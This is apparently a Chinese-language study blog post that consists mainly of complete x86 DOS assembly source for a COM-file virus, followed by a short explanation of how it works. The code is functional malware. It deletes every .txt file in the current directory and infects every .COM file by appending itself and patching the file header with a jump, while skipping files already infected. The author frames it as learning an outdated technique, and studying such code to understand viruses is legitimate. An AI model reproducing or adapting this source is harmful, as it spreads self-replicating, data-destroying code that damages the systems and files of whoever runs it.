实验环境同上一篇
上代码:
- CSEG SEGMENT
- ASSUME CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG
- main PROC NEAR
- mainstart:
- CALL vstart ;病毒的代码开始处
- vstart:
- POP SI ;得到当前地址
- MOV BP,SI ;保存当前地址
- ;PUSH SI
- ADD SI,OFFSET v_message-OFFSET vstart ;显示预设字符串
- MOV DX,SI
- MOV AH,09h
- INT 21h
- ;POP SI
- MOV CX, [BP + OFFSET vset - offset vstart] ;判断是在执行病毒或是在执行染毒文件
- CMP CX, 1
- je afterRestore
- MOV SI, BP
- ADD SI, OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节,感染时无意义
- MOV DI, 0100h ;目的地址 ;在执行染毒文件时,用于恢复文件的前4个字节
- MOV AX, DS:[SI] ;开始复制
- MOV DS:[DI], AX
- INC SI
- INC SI
- INC DI
- INC DI
- MOV AX, DS:[SI]
- MOV DS:[DI], AX
- mov ax, ds ;将DTA清零
- mov es, ax
- mov si, bp
- mov di, offset dta_filler - offset vstart
- add di, si
- mov al,0
- mov cx, 40
- cld
- repz stosb
- afterRestore:
- set_dta: ;设置DTA地址
- mov ah, 1ah
- ;lea dx,[bp + dta_filler]
- mov si, bp
- add si, offset dta_filler - offset vstart
- mov dx , si
- int 21h
- search_txt: ;搜索*.txt
- mov ah,4eh
- mov cx , [bp + offset del_attrib - offset vstart]
- mov si, bp
- add si, offset del_mask - offset vstart
- mov dx , si
- ;lea dx, [bp + del_mask]
- int 21h
- ;cmp ax, 0
- jnc delete_txt ;若找到,则删除
- find_next_txt:
- mov ah, 4fh
- int 21h
- ;cmp ax, 0
- jc search_com ; 没找到则跳出
- delete_txt: ;删除txt
- ;lea dx, [bp + dta_file_name]
- mov si, bp
- ;路径不知道为什么多了3个byte
- add si, offset dta_file_name - offset vstart + 3
- mov dx , si
- ; MOV SI,BP ;恢复地址值
- ; MOV DX,OFFSET delname-OFFSET vstart
- ; ADD DX,SI
- MOV AH,41h ;删除文件
- INT 21h
- jmp find_next_txt
- search_com: ;搜索*.com
- mov ah,4eh
- mov cx , [bp + offset com_attrib - offset vstart]
- mov si, bp
- add si, offset com_mask - offset vstart
- mov dx , si
- ;lea dx, [bp + del_mask]
- int 21h
- jnc inf_com ;若找到,则感染
- find_next_com:
- mov ah, 4fh
- int 21h
- jc exit_inf ; 没找到则跳出
- inf_com: ;感染com 文件模块
- MOV SI,BP
- MOV DX,OFFSET dta_file_name-OFFSET vstart + 3;得到文件名, 目标文件名
- ADD DX,SI
- MOV AL,02
- MOV AH,3dh ;写文件 打开文件 读/写方式打开
- INT 21h
- JC find_next_com
- MOV BX,AX ;文件句柄
- MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 到yuan4byte
- ADD DX,SI
- MOV CX,4
- MOV AH,3fh ;读文件
- INT 21h
- mov dx,[bp + OFFSET yuan4byte-OFFSET vstart ]
- mov cx,[bp + OFFSET new4byte-OFFSET vstart]
- cmp cx,dx
- je exit ;文件已被感染,不必重复执行
- mov cx,[bp + OFFSET MZ_file-OFFSET vstart]
- cmp cx,dx
- je exit ;不感染MZ文件,只感染com 文件,
- ;因为com文件才能出现我们想要的效果,
- ;这也是为什么以com方式写的程序运行时会出现乱码,而com文件不会
- MOV AX,4202h ;移动文件指针,到文件尾 ,DS:AX=新指针位置,即文件长度
- XOR CX,CX
- XOR DX,DX
- INT 21h
- MOV DI,OFFSET new4byte-OFFSET vstart ;保存到要跳的地方 ,即替换文件时的头部
- ADD DI,2
- ADD DI,SI
- SUB AX,4 ;减去前四个字节
- MOV DS:[DI],AX
- MOV CX,[BP + OFFSET vset - offset vstart] ;保存标记,用于判断是执行病毒还是染毒文件
- MOV [BP + OFFSET flag - offset vstart], cx
- MOV [BP + OFFSET vset - offset vstart], 0 ;
- ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒
- MOV DX,SI
- MOV CX,OFFSET vends-OFFSET mainstart
- MOV AH,40h ;写文件
- INT 21h
- ;恢复vset
- MOV CX,[BP + OFFSET flag - offset vstart] ;
- MOV [BP + OFFSET vset - offset vstart], cx
- MOV SI,BP ;定位到文件头
- MOV AL,0
- XOR CX,CX
- XOR DX,DX
- MOV AH,42h
- INT 21h
- MOV AH,40h ;将新的文件头写入 ,new4byte写入到感染文件中
- MOV CX,4
- MOV DX,OFFSET new4byte-OFFSET vstart
- ADD DX,SI
- INT 21h
- ; MOV AX,4202h ;移动文件指针,到文件尾 ,DS:AX=新指针位置,即文件长度
- ; XOR CX,CX
- ; XOR DX,DX
- ; INT 21h
- exit:
- MOV AH,3eh ;关闭文件
- INT 21h
- jmp find_next_com
- error:
- exit_inf:
- MOV CX,[BP + OFFSET vset - offset vstart] ;用来做标示的
- CMP CX, 0
- JNE mend
- MOV AX,0100h ;这是为什么只感染com 文件的原因,因为别的文件头会被破坏
- PUSH AX
- RET
- mend:
- MOV [BP + OFFSET vset - offset vstart], 1 ;用来做标示的
- RET
- main ENDP
- yuan4byte:
- RET
- DB 3 DUP (?)
- vset DW 1
- flag DW 1
- ;dta记录
- dta_filler db 21 dup(0)
- dta_file_attrib db 0
- dta_file_time dw 0
- dta_file_data dw 0
- dta_file_size db 0
- dta_file_name db 13 dup(0)
- com_mask db "*.com",0
- com_attrib dw 00100111b
- del_mask db "*.txt",0
- del_attrib dw 00100111b
- MZ_file DB 'MZ',0
- new4byte DB 'M',0e9h,0,0
- ; filename DB "test.com",0
- ; delname DB "del.txt",0
- v_message DB "You are infected by a simple COM virus",0dh,0ah,'$'
- vends:
- start:
- MOV AX,CSEG
- MOV DS,AX
- MOV SS,AX
- CALL main
- MOV AH,4CH
- INT 21h
- ret
- CSEG ENDS
- END start
由于com文件十分简单,所以com文件病毒原理也不难,通过将com文件的前几个字节改为跳转指令,跳转到病毒代码处,执行病毒,病毒执行好后跳转到恢复好的原com文件开始处继续执行。
程序能感染当前目录下的所有真正的com文件,并且能删除当前目录下的所有txt文件,com文件不会重复感染。
由于引导型病毒和com文件病毒都已经“过时”,学习主要是掌握原理,提高对病毒的认识和理解。
杀毒请搜索。